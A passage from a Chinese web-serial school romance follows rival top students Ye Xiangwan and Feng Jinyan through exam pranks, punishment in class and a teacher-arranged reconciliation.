问题一定出在了身后的这个少爷身上…… 她转身抬手用笔敲了下封瑾言书桌,封瑾言没有理会叶向晚,连眼都没抬,手里一直大笔挥胡乱着。 因为他竖起书本挡住了,叶向晚压根看不到他在干什么,两秒后封瑾言才抬起眼眸压低声音说道:“我不会让你得第一。” 叶向晚:“……” 封瑾言抿了抿唇,然后慢悠悠地把卷子给了叶向晚。 叶向晚接到手低头一看,整张答题卡上飞凤舞甩了一排,光单个字就有半个巴掌大的话。 [老!子!是!第!一!] 笔力道劲,入纸八分,反面摸着比盲文手感还带劲。 叶向晚:“……” 她撑着额头,垂眼扫过那五个恨不得溢出卷面的惊叹号,突然有点想笑。 她没想到这封少爷看着挺高大,却竟然会做出这种幼稚的事情来。 毕竟她小学一年级的时候就不做这种幼稚事了,可摊上这么个后桌她也没什么好办法,只得举手申请换了张答题卡。 一来一回耽误了五六分钟,不过还好是语文,叶向晚看完阅读,扫了眼每题的分数,对应着在心中梳理好可能得分点,答题卡来了就不紧不慢地写了上去。 过了也就几分钟的时间,突然一个东西从她头顶“啪嗒”落在了桌面上,她下意识坐直身体,才看清那是一只天蓝色笔帽的涂卡笔。 夏末的温度还没降下,教室窗户开着,后面那一团浅褐色的发梢被暖风吹得轻动,显得有些柔软,封瑾言没回头,只习惯性地翘起椅子晃起来。 叶向晚看着笔,目光动了动,她转身腿一伸,放在前面那椅子的横撐上轻轻一踩。 “我次……” 在这庄严肃穆的考场里,差点摔下椅子的封少爷,硬生生把声音咬掉了半截吞回肚子。 他抬眼向皱眉的蒋欢轻轻欠身,然后猛地扭低头盯住叶向晚,如果目光能化为实质,他前面一排这应该就剩一坨饺子馅了。 封瑾言盯了足足有五秒钟,叶向晚就喝了五秒钟的水。 封瑾言皮肤很白,气得耳根都有些泛红。 叶向晚仰起头,目光清澈的落在了他脸上。 封少爷终于收回目光,又把左手伸到叶向晚身侧竖起了中指,还生怕叶向晚看不见,指尖触碰了下叶向晚胳膊,然后指尖在她身侧晃了几下。 叶向晚眼皮微垂,目光停留在上边。 那指甲修剪得边缘规整,手指细长却骨节分明,看架势似乎要这么嘲讽拉满一节考试。 叶向晚被晃的有些眼晕,她抬手轻轻捏住了对方部分的指尖。 刚刚她喝的水是课间去超市买的,瓶子里结的冰还剩大半没有化掉,瓶身上除了她刚握住的地方都是细密的水珠。 夏末暑气干热炙闷,而她的指腹却冰凉湿软。 叶向晚用气音说了句:“谢谢。” 14:初次认识的美好(6) 本来满是气焰的俊脸突然不易察觉的消散了些,封少爷倏地收回手指,下一瞬往前又把书立了起来,然后低头开始奋笔疾书,那样子就像是看眼表还剩两分钟,结果作文还有五百字没写的状态。 气氛略有些紧张的考场里再没了小动作,叶向晚拿起笔,瞟了眼窗外和笔帽颜色一样澄澈的天,不知哪棵梧桐上躲着鸟,脆脆的声音顺着风隐约吹了进来。 好像是喜鹊吧! 叶向晚现在大概也有些清楚了这少爷的脾气,虽然肆意了点,但好在赏罚分明,也有分寸。 比如撑死让她在一天内申请换了三张答题卡,虽然第四张没换成是因为在班主任蒋欢死盯着的眼神下再没机会下笔,但每科考试的时候也不忘把涂卡笔扔过来。 一天考完所有科下来,基本人也就废了。 但第二天出乎叶向晚意料,他们居然还对着一堆外教考了口语,几乎大部分人的表现都像母语就是英语一样,这其中也包括了格外出色的封瑾言。 在等成绩的几天里,学校既然已经先抽完了鞭子,也该给颗糖了,于是在这天早上蒋欢宣布了一件事。 “我们学期中要举办秋季运动会,时长三天,全校统一不上课,这几天里大家要把参赛名单报好,然后就可以准备各自的项目了。” 叶向晚在交头接耳兴奋的议论声中,把目光从一份数学竞赛卷上抬起。 诧异还是有的,毕竟她没听说过哪个高中运动会能开三天。 “叶向晚,你报什么?” 封瑾言拿起书本,轻拍了下她后背。 “不报。” 她向来不参加这种集体活动,因为……她从来都不在集体之内。 “不报?虽说没规定必须报项目,但你最好还是参加一两个。” 封瑾言用手支着额头,微眯着眼睛看她:“我们这个学校说白了就是用来攒人脉,为什么运动会给三天时间,就是让你好好把握,毕竟以后彼此有很大几率会用得着。” 叶向晚静静打量了封瑾言几秒,然后转身视线移回卷子上:“我们不是一类人,我用不上。” “啧,不是一类人那你是什么腔肠动物?快想想想报什么。” 封瑾言说罢把手放在了她肩膀处,好看的指尖微微蜷起,无意识地摩挲着。 叶向晚侧目看着,并未扯下他的手,也未说话。 “想好没?”封瑾言有些不耐烦了,指尖点了点她肩头:“射箭会不会?” “不会。” “看你两眼一瞪六亲不认的样子,10X400接力肯定也不会参加,这些都是训练时最好交人的项目。” 封瑾言收回手,手再次支着额头,似乎接着在想还有什么项目,虽然他口里说着是用来攒人脉的,但那深邃的眼睛里还是有藏不住的期待。 的确,运动会对于这么大的少年来说,不管目的是什么,总归是件让人兴奋的事。 所以叶向晚初一时也曾偷偷尝试报过名,结果还没比赛,就让每天监视着她动态的爸妈口诛笔伐了一番,所有准备运动会的时间卷子都做完一本了。 结果被推搡间,她趔趄了下扭到了脚踝,运动会就此作罢。 从此往后她索性什么也不做了,本来她的生活就够枯燥了,干嘛还给自己找恶心呢。 叶向晚重新拿起笔,虽然这次运动会似乎和以前不太一样,但对她来说也没什么区别,别说自己不是顶流圈子的,甚至连分叉都算不上,何况她也完全没有交流的兴趣。 正想着,突然手里的笔被一把抽出,封瑾言抢过去握在手里“啪嗒啪嗒”地来回按着。 “怎么这么消极?你说说你一个女生老冻着张脸干什么呢,你是十六岁还是四十六?行了,你的项目我看着报。” 封瑾言一脸不容拒绝的霸道,说完又上手拍了拍她的肩。 叶向晚眼睛扫过自己的肩膀,余光里能瞥见周围不少人望向这边。 大部分都是女生嫉妒怨恨的目光。 她转过去冷冷地扫视了一圈,那些目光オ一一收回去。 她知道这些人都是在打量她到底够不够格,接下来的日子到底是要欺负,还是要结交。 而封瑾言这些不知是有意还是无意的亲密举动,其实反而成为了她暂时的避风港。 毕竟没人敢招惹封瑾言,而作为封瑾言主动“靠近”的人,自然也不敢欺负。 一周后,龙川的考试成绩一直是不完全公布的,只有十名和后十名有资格出来露个脸。 于是这次的摸底成绩就在周日的晚上,发送到了高一年级大群里。 一共二十个人的名单,点开后第一名依然是叶向晚,而正下边的便是封瑾言。 两人总成绩非常接近,只有八分之差,不过仔细一看,叶向晚英语口语成绩照满分的封瑾言差了整整十分,但又用剩下的笔试成绩给拉了回来。 于是年级第二看见成绩的瞬间,当场就摔了手机,她仿佛听见了考场上那天的“老子是第一”,穿越时空的洪流,“pia pia pia”地拍在脸上。 并且在那清脆的回响声中,五个惊叹号又“嗖嗖嗖”接踵而至,把他高傲的小自尊心扎得瞬间就成了漏气的气球,“咻”地没了。 考试分数竟然多次的被一个女生给比了下去,封大少爷能不气吗?! 不过这还不算完,紧接着,封大少爷金贵的面子又在第二天周一的清晨里,被撵了个稀碎。 夏末残存的暑气还有些燥热,但在飘扬的国旗下,叶向晚迈着稳重步伐停在了主席台前。 身上自带的那种清冷的气质格外显眼,就像刚从冰柜里拿出的汽水,外边还带着冒冷气的滚珠,光是看着就能解暑降温。 叶向晚穿着一套枣红色的校服,纤细的腰线被勾勒的分外清晰,笔直的腿在校服裙下愈显纤长。 她扎着高高的马尾,细腻的肌肤在阳光下白的发光,背脊挺直地站在那,像是一朵不骄不躁的花,静静地绽放在阳光下。 15:初次认识的美好(7) 下方的封瑾言本来在望着她,但发现有许多男生看叶向晚的眼神特别的炙热,心里莫名的有些不爽。 台上的叶向晚抬手往上提了下话筒,从容地调整好高度后,声音就从话筒里带着空间感的悦耳清晰地传了出来。 “尊敬的老师,亲爱的同学们大家好,我叫叶向晚,今天非常荣幸的……” 封瑾言低头踢走了脚边的一颗石子,然后轻嗤一声:“这会倒是挺能说……” 紧接着就听台上叶向晚的声音顿了一下。 封瑾言微眯着眼睛抬起头,他望着自己和叶向晚足足十好几米的距离,对方此刻与自己对视。 封瑾言:“……” 她听觉这么敏锐? 其实叶向晚并未听到他说什么,只是刚好讲话顿住。 她收回视线,继续演讲。 叶向晚讲话的时候没什么表情,因为不在意,所以不紧张,她眼神扫过台下的人群,由于正对着光,晃得她几乎一张脸也看不清,除了…… 大概是因为封瑾言发色浅的缘故,被清早明媚的阳光穿透成了亮眼的金色,不像其他人姿势懒散,他虽然两条长腿站得随意,但背脊挺直。 十五六岁的男生抽条拔节,略有些清瘦,但却也有了衣架子般的骨骼,宽肩窄腰地立在那里微微扬起头。 叶向晚感觉自己的目光应该是和他对上了,可那脸逆着光看不清表情,她下意识眯起了眼,结果人群突然骚动起来。 这个时期的少女声线普遍清悦,而她的音色更是带着股冷调,异常清丽的脸再配上有些淡冷的眼神,瞬间让所有没见过她的同学大吃一惊。 “这这这么漂亮的女生居然只是个跟班?” “她和封瑾言到底什么关系?” 但这轻微的插曲并不影响叶向晚,她不卑不亢地讲到了最后,微微欠身就迈着大步离场了。 然后主持人走过来串场,结果扫见讲台上落下的演讲稿时,刚举起话筒却呛了一口。 如此重要的场合,这这这女生……居然准备了一张白纸?! 于是自此开学仪式之后,全校都知道了封大少爷的跟班,是个既长的好看又是个学霸气质又好的女生。 而且成绩还是年级第一,所有人看向她的眼神有了变化,男生变色了,女生正色了。 唯独一人不同,封大少爷内心是复杂的。 他不想叶向晚得第一,但内心又不反感她。 这种矛盾的心里纠结着他,终于,在一个月黑风高的夜里,封瑾言左手攥着笔帽思索再三,就在椅子腿差点被晃骨折前,好不容易露出了拨云见日般的俊朗笑容,他趴在桌子上大笔一挥。 女生长跑一千五,叶向晚。 女生长跑三千米,叶向晚。 由于学校认为,绝不会有哪个富二代或者官二代会脑子不好到给自己同时报两个长跑,所以,这两个项目被理所当然地安排在了同一天。 但是脑子不好的叶向晚本人毫不知情,甚至还在熬夜刷着题。 课桌上的灯是让人头脑清醒的冷白色,写好作业整齐的摆在桌子左上角,她花了几分钟浏览了一遍整章的习题,然后在一些前面画上了不同的记号,接着翻回去开始刷题。 不知过了多久,远处行驶的车声已经几乎听不见了,房间里只有风鼓起窗帘的轻响和笔在纸上划过的沙沙声,很安静,像往常一样整个世界就只有自己。 突然笔悬在了空中,叶向晚眼神重新扫过两遍题目,慢慢蹙起了眉。 她把身子靠上了椅背,开始无意识地转着笔,她已经迅速解决了所有有价值的习题,但却卡在了最后一道数学题的最后一问上。 很久以前她的学习成绩都是父母用棍子敲出来的,但是后来等长大了点,她的自学能力已经比同龄人高了一个台阶。 因为她除了在学校的时候,其她时间无人能问,没有朋友,家里断网,她更不可能去请教那对把自己的遗憾寄托在她身上的奇葩父母。 所以向来她的教材习题集都是那种被老师拎起来展览的,因为书页虽然整洁,但却每一篇都已经翻得变软了。 她琢磨了一会,确认记忆完全没有一种方法可能解决这种问题,她只好打开电脑在网上搜题。 片刻后,请用微积分求解下列问题……叶向晚把笔一扔。 她按了按眉心,抬眼扫了下钟,发现居然已经快一点了。 利索的洗漱完,叶向晚整个人带着清爽的味道把自己埋进被窝里,被子一直卷裹到下巴,然后她眯着眼睛习惯性地拿起手机。 大概是有点犯困了,她在黑暗中手指不小心滑开微信,并且在几乎万年空空荡荡的列表里看见了一个突兀的对话框时,都没反应过来。 上边是四个大字:皇上吉祥。 下边还停留在自己最后回复的一个:“嗯”字上。 她盯着那个剪影的头像两秒,才意识到这人是她后桌。 叶向晚鬼使神差地点开了那个对话框,结果居然看见了:对方正在输入…… 叶向晚转头看向下天花板眨了眨眼睛,接着视线再落回屏幕,依旧是:对方正在输入…… 她有些疑惑,不知道这大半夜的封瑾言要跟她说什么。 她右手手腕微抬,把屏幕有些刺眼的光偏了偏,然后侧过身把半张脸都埋进枕头里睡着。 于是她看着对面断断续续输入了十几秒的幺蛾子,最后对话框依旧空空如也。 叶向晚皱起眉翻了个身,结果“正在输入……”突然消失了。 她又等了两分钟,发现对面那少爷是真的不准备发出来了。 她嘴角往下压了点,拇指按下锁屏键,也不知为什么,像泄愤一样把手机扔掉了枕边,一切重归黑暗寂静。 早上看见封瑾言的时候,这少爷步子几乎是蹦着来的,整张脸上就写着四个大大的大字:“爷很高兴”。 封家的势力非常大,据说当初封瑾言父母两家准备联姻时,这一消息在上位圈还曾轰动一时。 16:初次认识的美好(8) 于是这位含着钻石汤匙出生的少爷,打小就具备了常人一辈子也得不到的资源和倾慕。 他心情颇佳地竟然和每个跟他打招呼的人点头,甚至还和几个过来寒暄的人闲聊了会。 这种地位加上本身爽朗潇洒的性格,既可以做人脉又可以做半个朋友,班里的人颇为喜欢又崇拜。 当然除了坐在他前桌,塞着耳机看向窗外的那个。 叶向晚只是在他进门的时候瞟了一眼,虽然她总觉得封瑾言心情这么好和昨晚的正在输入脱不了干系,但她还是懒得多想。 封少爷参加晚宴一样,应酬完了一圈,最终绕回了自己的位置上。 他站在凳子旁,垂眼看向全班唯一一个一天到晚说不上三句话的人。 “叶向晚。” 封瑾言站了好一会也不见对方回头看他,只好用指尖点了点桌子。 叶向晚:“?” 叶向晚只是抬头看了他一眼,接着再没了动作。 “……你没看见我?”封瑾言皱起俊眉。 “见了。” 叶向晚沉默片刻,轻轻吐出了两个字,然后又转回头看回了窗外。 “你这人……”封瑾言手在她眼前晃了晃,“你一天天在看什么?是我长的还够帅?你怎么也不知道好好打个招呼?” 叶向晚叹了口气摘下耳机:“你叫个招呼吗?” 封瑾言怔了一瞬才反应过来,他“啧”了声,然后一手按着桌子倾过身,把叶向晚另一只耳机也摘掉了。 “你一个女生一天到晚别总冷冰冰的,合群点不好么?人是群居动物,就不想和别人交流?!” 叶向晚吐出口气,才把眼睛落到他俊美的脸上:“那你昨天晚上一点多想跟我交流什么?” 封瑾言:“???” 封大少爷一时间被噎得气血翻涌,叶向晚趁这个空隙拿回耳机。 班级实在有些聒噪,而且正看他俩热闹的人也不在少数,叶向晚把一会要收的作业一一摆在了桌子上后,就走出了教室。 龙川这层楼中间是中空的,靠着一圈栏杆看下去,能见到一楼步子不紧不慢的学生和顶着根不多的毛,盯着来往人中有没有形象不端抽烟早恋的教导主任。 叶向晚手腕搭在栏杆上,看着这一片喧嚣,自己仿佛一直就是游离这景色之外的存在,她经常在看,看人,看树,看鸟,不知什么时候她已经丧失了交流的欲望,就只是安静地看着。 大概是因为与其等着被父母一刀砍断,不如最开始就不去触碰吧! 她想,如果哥哥当年没有走丢,自己的命运或者性子是不是就不一样了? 上课铃响了,叶向晚摘下耳机回到座位。 第一节是语文课,他们的老师是个光明顶,还是那种闪得佛光万大的,长得也肥头大耳,每天都像是龙川请了尊佛放讲台上了。 此刻,佛说:“因为是第一节课,所以没有收你们的作业,每日的开始都需要点励志的东西给大家开开光。 正好我们这次作业的作文题材非常热血,我找个同学读一下自己的文章吧……叶向晚,你来,上次你摸底考的作文让我非常惊艳,相信这次也会让我们大开眼界。” 叶向晚低头看了眼桌子上有些被收作业时翻乱的卷子,然后抬手抽出了那张露了个角的语文卷。 叶向晚:“……” 她定定地看着手里的卷子许久。 本来昨晚写得满满登登的作业,现在居然比她脸还干净。 “叶向晚,可以朗读一下你的作文吗?” 叶向晚愣了一小会,侧眸就看到身后抖得跟过了电似的封大少爷。 能因为把她作业换了就乐成这样的人也是绝了。 就在叶向晚沉默的这么片刻里,周围有不少同学也已经看到了她的白卷,开始纷纷低声议论起来。 佛走下了讲台,带着他头顶的万丈光芒和蔼慈善的笑容站到了叶向晚桌子旁,然后看见了一片空白。 叶向晚面无表情地垂着眸。 佛直接硬成了佛像。 此刻,教室里的气氛仿佛叶向晚刚在寺庙蹦完迪,空气凝固了两秒,然后佛扯起嘴角轻声说道:“叶向晚同学,你听见响了吗?” 叶向晚不明所以 佛像指了指自己的脸:“我的脸在响。” 言下之意脸被他刚刚的话打的拍拍响。 叶向晚:“……” “也不尽然吧!” 佛像:”?” 总算关上了振动模式的封少爷,一脸促狭地扬起头:“老师,您这不是大开眼界了么。” 佛瞬间气得如来神掌一挥:“叶向晚!去后边,罚站!” 叶向晚拿着手里的卷子,默不作声地盯着嘴角快裂到太阳穴的封瑾言两秒,然后才起了身。 “封瑾言,你也去!”佛像咆哮道。 封瑾言:“???” 封瑾言顿了下,然后一脸疑惑,手抓着椅背,似乎不等到解释绝不站起来。 “就你俩心有灵犀是吧,好同学有难同当,赶紧立刻马上拿着卷子给我上后边杵着去!” 刚拿起白卷的叶向晚侧身站在位置上,头也没转,只是眼神从眼尾瞥扫下去掠过了封大少爷的脸,然后她唇瓣轻动了下,发出轻轻的响,虽然面上没做表情,但嘲讽力度爆表。 大少爷有些不爽的地从桌子上拿起卷子,大长腿地走到教室最后边靠墙站好,眼睛一瞬不瞬地盯着叶向晚走到了和他距离最远的教室另一边。 仿若避他如病毒一般。 封瑾言:“……” 她这是有多嫌弃自己?! 这一节课上的同学们见缝插针地频频回头,毕竟主仆八卦就挺有意思了,更何况难得看到封大少爷吃瘪就更新奇了。 语文老师重新挑了个同学的卷子开始念了起来,叶向晚这个时候一般都是会把其她科目的卷子拿出来做的,但是现在她手里只有一张做过的语文卷,便有些茫然地靠着后门。 因为习惯了一直埋头往前走,很少有发呆的时间,此刻居然都不知道应该想些什么,只是低头举着卷子,眼神却并没有聚焦在上边。 17:初次认识的美好(9) “苟活者在淡红的血色中,会依稀看见微弱的光芒。真正的猛士,将更奋然而……” “这是鬼?!” 叶向晚抬起头,她听着耳边的这句诡异连接,闻声看去。 封瑾言不知什么时候已经挪到了距她两步之遥的地方,然后一脸诧异地盯着她身后。 其实刚刚那句话“这是鬼”的声音很低,只不过离她有些近,所以并没有引起在讲台上口若悬河的老师注意。 叶向晚顺着封瑾言的眼神看过去,他们班的后门有一长条玻璃地,这个季节雨水依旧很多,今天天色就格外阴沉,走廊里冷白的灯光从人头顶照射下来。 一张惨白的脸,嘴唇血红地趴在玻璃上。 叶向晚表情木然地看了两秒,突然往后退了一大步,下一瞬她和反应不及的封瑾言重重撞在了一起。 封瑾言闷哼一声,捂着下巴后退了两步。 “怎么了?” 佛从卷子里抬起头。 “没事老师,我想问她道题,没站稳。” 封瑾言扫了一眼叶向晚答道。 佛的眼神在他们两人脸上逡巡了一圈,一个冷冰冰得毫无感情,一个笑得人畜无害:“那我们来继续……” 封瑾言退后一步背靠到了墙上,斜了一眼叶向晚,“……你是反射弧有点什么问题么?” 叶向晚看向他:“没有。” 封瑾言狐疑地盯着她,半晌才轻轻“嗯”了一声。 叶向晚偏过头,阴雨天有点凉,但封瑾言没穿外套,单穿着里边的白衬衫,领口随意解开两颗扣子,挽起来的袖子堆叠出松弛的褶皱,显人似乎有些清瘦。 封瑾言此刻也正转过脸来回视着她,那略尖的下巴上有一块泛着被撞出来的浅红,他本来肤色就很白,衬得那颜色有点明显。 叶向晚抿了抿唇瓣,稍微迟疑了片刻,也还是站到他旁边,声音很低很轻地开了口:“抱歉。” 封瑾言顿了一下,然后眼眸内有一丝情绪闪过。 他们刚才为了在上课的时候能偷偷说话,所以站的很近,封瑾言手垂下的瞬间,就撞进了另一个人紧挨着的掌心里。 一个人连手背都是热的,一个人却手心都是凉的,彼此的身体霎时僵硬。 这个年纪总是很敏感又别扭,可能一个眼神就看不顺,又或者一句话就能截进心里,也可能一次不经意的触碰就不知所措。 短暂的怔愣过后,叶向晚迅速抽回了手放到背后,指尖无意识地摩挲着掌心,然后向门边偏过头。 封瑾言也回过神,低头看见她这动作明显地躲避有些不悦,她就这么嫌弃自己? 难道自己手上长刺了还是怎的? 封瑾言把袖子从胳膊上拽下来,是赌气般的地背过右手,还往左迈了一大步,然后偏头望向窗外。 教室里除了老师浑厚的声音,只有泛着瞌睡的安静,但在教室的最末尾,却时不时传来卷子轻动的“沙沙”声,仿佛只有这一片地方是清醒的,在总会带着困倦的第一节课里,毫无睡意。 下课铃响起的时候,佛抬头就见到了本来还说着悄悄话的两人,现在突然就天各一方的背着脸,于是有些奇怪地问道:“你们两个怎么了?讨论问题讨论出分歧了?哪道题啊?用老师分析一下不?” “没,不用。” 叶向晚:“……” “好吧,那下次记得写作业,还有好好相处,你两还别说,光长相还挺有夫妻相,下课。” 封瑾言:“……” 叶向晚:“……” 正当两人表情都有些一言难尽的要走回座时,高跟鞋“嗒嗒嗒”的声音忽然从走廊由远而近的清晰传来,全班听见这熟悉的声音时,都不自觉地钉在原地,硬是没敢下课。 开学没多久,他们的班主任蒋欢却有了一个代号叫蒋魔头。 龙川的每个老师背景都不比学生小多少,女老师们一个个都踩着细高跟步履生风,打扮精致到每个头发丝,但却也不过分花哨,既有老师端庄的威慑力,又毫不掩盖自己成熟女人的魅力。 蒋欢做事就跟她的走路声一样雷厉风行,该夸就毫不吝啬表扬,但是遇到需要收拾的更不手软,拎起你就能一顿劈头盖脸损到无地自容,然后逼着你为期不知多久的扫厕所。 所以全班战战兢兢地等蒋魔头进来,然后看着她面无表情地扶了下细金丝框眼镜,所有人瞬间就知道有人要遭殃了。 “封瑾言、叶向晚,大课间到我到办公室,还有……” 她伸手点了好几个男生加一个女生,“你俩来的时候带上他们的手机,下课纵客你们就算了,上课居然还不知道收敛,一人一层厕所,扫一周。” 说完,蒋魔头又踩着高跷走了,全班顿时陷入一片怨声载道。 接下来上课的时候,封瑾言特别的认真,大长腿不会在前面晃来晃去,更不会偶尔磕在前边的桌子上,两人桌椅间始终保持着一掌宽的距离,不远不近。 “铃铃铃……” “那个,叶向晚,手机……手机给你,你帮我带给老师吧。” 一个男生走过来有点腼腆地递过手机。 叶向晚点了下头,接过手机后也再就没抬眼,男生抿了下嘴,回头求助一般地看向身后一个男生,但那男生也是一脸无可奈何,最后两人只得垂头丧气的走掉了。 接着陆陆续续有几个同学也哀嚎着把手机送了过来,他们接过去的时候,有个人居然还跟着拉扯了几下,那架势惨烈得跟要卖了孩子一样。 收齐手机,他们都没有看向对方,但却同时起身往门外走。 本来经常埋头学习的人都或多或少有点驼背的毛病,男生更甚,但这两个却都利落挺拔。 封瑾言背脊笔直傲然的走在前面,不知道的还以为这是要去翻牌子。 而叶向晚则是走在一步之遥的后面,没什么表情只是目视着前方,满脸就写着:别过来,我谁也不想理的漠然。 他们一路无话地走到老师办公室门前,封瑾言抬手敲了敲门。 18:初次认识的美好(10) “进。” 蒋欢看着两个学生一前一后的踏进办公室,把几部手机放在她桌子上后,就沉默地站在原地,中间的距离大概能再塞进去两个她,就忽然觉得有点好笑。 “办公室挺大的是嘛?” 封瑾言和叶向晚闻言一脸问号地望向她,但接着在她问出下一句之后,表情就瞬间变得精彩纷呈。 “站这么远,你俩这是闹别扭了?” 办公室里一度陷入诡异的寂静,大课间学生跑出教室玩去了,所以除了蒋欢,还有四个班主任都在,此刻都闲来无事地把目光投向了这边。 半晌,封瑾言才看上去有些牙疼地说道:“……我们不是能闹别扭的关系。” “那你们是什么关系?” 封瑾言:“……” 叶向晚:“……” 蒋欢看着两个人都要呕出血来的表情,才稍微满意地点点头。 “我不管你们现在关系怎么样,也不管你们都有怎样的家庭背景,高中是你们懂事了但又不太世故的阶段。 在我的班级里,我不求你们相亲相爱,但希望在三年以后,你们想起来这段时光的时候都觉得值得回忆,很有意义。” 封瑾言闻言睨了眼叶向晚,发现对方嘴角依旧绷成直线,毫无触动。 封瑾言暗道:这没得感情的女生真让人没劲,结果就听蒋欢补充道:“所以我要分配给你们点任务,刚开学班级不能没有干部,叶向晚当班长,封瑾言当学委么样?” 结果没想到沉默了半天的叶向晚瞬间开了口:“不。” 蒋欢大概是职业生涯里从没听过这么果断无情的拒绝,她愣了下,然后微扬起头靠上椅背不怒反笑:“说说为什么不?” “您的出发点如果是建立更团结的班级,那最好民主点。” 蒋欢听完点了点头:“想法很好,但老师问你,你现在能说出来十个以上同学的名字吗?封瑾言你别笑,你能说出来十个以上同学的性格以及他们最擅长做什么职位吗?投票准备认识谁投谁吗?” 刚开学还不到一个月,他们班级现在的状态比沙还散,本就一个比一个眼高于顶,平时拽着上厕所的都是以前认识的人,因为还没有过集体活动,所以可以说是谁都不了解谁。 “班级干部不是一成不变的,期中考试之后我会再进行选举,那时候有能力者居上想争的人就来争,现在我只能选择成绩最好的,我只需要你们两个在这半学期里尽快融合进班级,并且把班级融合,你们都是能力很强的人,听明白了吗?” 封瑾言:“……哦。” 叶向晚:“……” “看你们这反应是有什么不理解不满意的地方吗?” 封瑾言:当然不满意了。 封瑾言又睨了眼叶向晚,这种满脸写着看破红尘与我无关的人当班长,他们班还能友好? 于是看破红尘的叶向晚蹙了下眉,毫不犹豫地再一次说道:“老师我当不了班……” 话刚出口,蒋欢的表情就肉眼可见地沉了下去。 封瑾言抽了口气,赶忙往前站了一步,手在背后拉住叶向晚的胳膊,生怕她再说下去,先不说谁当班长了,这接下来俩月的厕所所长她俩是跑不了了。 “老师要不我当吧,让她当学委,你看就她这性格当半个学期的班长,咱们班同学到时候都能剃度出家了。” 蒋欢闻言沉默地看了他们一会,接着忽然笑了起来:“不错,和我想的一样,还知道为同学打掩护,就按你说的来,叶向晚以后也记得要礼尚往来相互帮助,知道嘛?” 叶向晚:“???” 正当两人满脸写着“现在辍学还来得及吗”的表情,相互窒息地对视一眼时,蒋魔头又扔出了一句话,直接把两人炸得双双后退半步,她道: “我看你们两个气氛也有所缓和了,那现在就当着我的面好好握个手,然后跟对方说一句自己真心实意想说的话,让之前的不愉快就都一笔勾销,可以吧?你们两个班干部可不能有隔阂啊。” 感情这不是惩罚他们,而是当和事佬?! 封瑾言扯着嘴角看了眼叶向晚,脸上明晃晃地写着:你先跑还是我先跑? 叶向晚一言不发,但是往后迈出去的右腿清清楚楚地说着:我先。 封大少爷满脸无语,眼神给叶向晚一句话:你还挺不要脸! 叶向晚:“……” 叶向晚刚想跑,却一把封瑾言一把给拽了回来,他自己右腿迈出去的瞬间,蒋魔头又开口了: “叶向晚你主动点,你看封瑾言都先放下架子拽你一把了,你不能这么无动于衷啊,人和人的交往是双向的,快,这次你先伸手。” 封瑾言:“……” 叶向晚:“……” 叶向晚转过身时的动作仿佛掉了帧,转得无比艰难,她是怎么也没想到,自己都上高中了,居然能遇到班主任像教训幼儿园小孩一样,逼着握手言和。 她垂着眼皮半晌,目光才从地上移开,抬眼就看见封瑾言正低头盯着自己的鞋尖,发旋儿转出来的一缕头发不听话地翘着。 他的头发似乎总有这么几根很调皮,平日里他不是晃椅子就是晃大腿,那声音听得她特别想抬手按下。 窗外雨滴嘈嘈窃窃地敲在玻璃上,没有闷雷没有闪电,只是安静的一路蜿蜒而下,连绵不断。 叶向晚的手指在身侧蜷起了一下,她看着那个发旋儿,很缓慢地抬起手,片刻后停在他们中间的位置。 封瑾言倏地抬头看过来,眼里都是“你怎么不再反抗一下”的意味。 走廊里远远传来几声吵吵嚷嚷地笑闹,几个男生跑到了办公室门口才记起,匆忙住了嘴,连脚步都放轻着小跑掉了。 封瑾言垂眸看着向她伸开的那只白皙的手,轻眯了眯眼,少顷,手指微动,没等抬起,挽起的袖口却沿着手臂顺延滑落,遮住了那一点细小的动作。 “铃铃铃”,大课间结束的铃声骤然响起,两人身形皆是一僵。 19:初次认识的美好(11) 叶向晚垂眼盯着自己的没得到回应的指尖,在吵闹的铃声遮掩中缓缓吐出一口气,不知是终于解脱了,还是有些不知从何而来的……落寞。 她胳膊微微弯起,伸展的手指松松地收回来,一并落下。 她没有去看封瑾言,也没有去看蒋欢,只是轻轻点了下头,脚步向正后方转去。 “叶向晚!” 突然垂落的手掌被一炙热的手心抓住,带着点潮气,握得很紧。 叶向晚脚步顿住,手指下意识收紧了一下,然后又轻轻卸下力,她侧过身扭头望向封瑾言,那张脸满是认真,又带着一丝焦急。 阴暗的天气里,办公室的灯全都开着,冷白的灯光照下来,映得那好看的眼透着抹光亮。 “你的作业……那什么,其实我不是,故意的,也不对,其实是故意……” 少年期男生格外嘴硬,什么都不会和大人说,掉了面子就打一架,犯了错就梗着脖子不肯低头,坦诚的敞开自己的想法,对他们来说就好比在女孩的妆容上泼了层卸妆水,难堪又慌乱。 手被无意识的越攥越紧,湿乎乎的,叶向晚整个人转回了身,眼神从交握的手上掠过,片刻,她屈起拇指在封瑾言手背的关节处轻轻按了两下。 她点点头:“嗯,知道。” 声音带着点变声期末尾残存的微哑,很又低又轻,但却很清晰。 老师的办公室在顶楼,他们班在二楼,距离楼梯最远的位置。 等她们两个人并肩走到教室门口的时候,已经上课快十分钟了。 当然路程其实不是大问题,他们两个人从老师办公室出来的时候,都不约而同转向了厕所,一个要去擦汗,一个要去洗手。 叶向晚洗完手就出了厕所,半倚在墙上,漫无目的地刷着手机,龙川的卫生间里还提供湿巾,封瑾言就呆在里边擦了半天的汗。 “嗯?你没走?” 封瑾言出来的时候眉头和额前的发丝都带着细碎的水珠,脸色还有些白里透着微红。 “你上火?” 叶向晚说完,视线又移回到手机上。 “什么?” 句子太短,封瑾言没听清。 “我说你为什么这么热,上火吗?” 叶向晚按下了手机的息屏键,揣进兜里直起身。 “没有,我感觉今天还挺闷,可能我肾太强了吧。” 叶向晚:“……” 她为什么要多嘴问这么一句? 叶向晚无语着张脸转身抬脚就走。 “你别走太冲,被蒋魔头看见又要握手。” 封瑾言几步上前拽住她的胳膊。 叶向晚闻言蹙了蹙眉:“你什么意思?” “不是你想的那个意思。” 封瑾言知道她误会自己刚刚的话,好心解释:“我不是不愿意和你接触,我的意思是不喜欢那样诡异的和好方式。” 叶向晚脚步这才停下来,等着封瑾言赶到旁边才继续往前走着,但是表情依然不太高兴的样子。 “我发现你这人特别别扭。” 封瑾言“啧”了一声,直接抬起胳膊勾住她脖子,叶向晚反应不及被勾得一个踉跄,她抬手扶着墙,抬头看向封瑾言。 顶楼走廊里很安静,办公室的门都关得死死的,地上有很多纷乱的泥脚印,不知是谁刚才冒着雨还跑了出去,就算阴雨绵绵的季节总有这种浑身都透着朝气的人。 叶向晚比封瑾言矮半个头,微微抬起头,看着胳膊搭在她肩上的封瑾言,两人都步子不太稳地躲开地上的污渍。 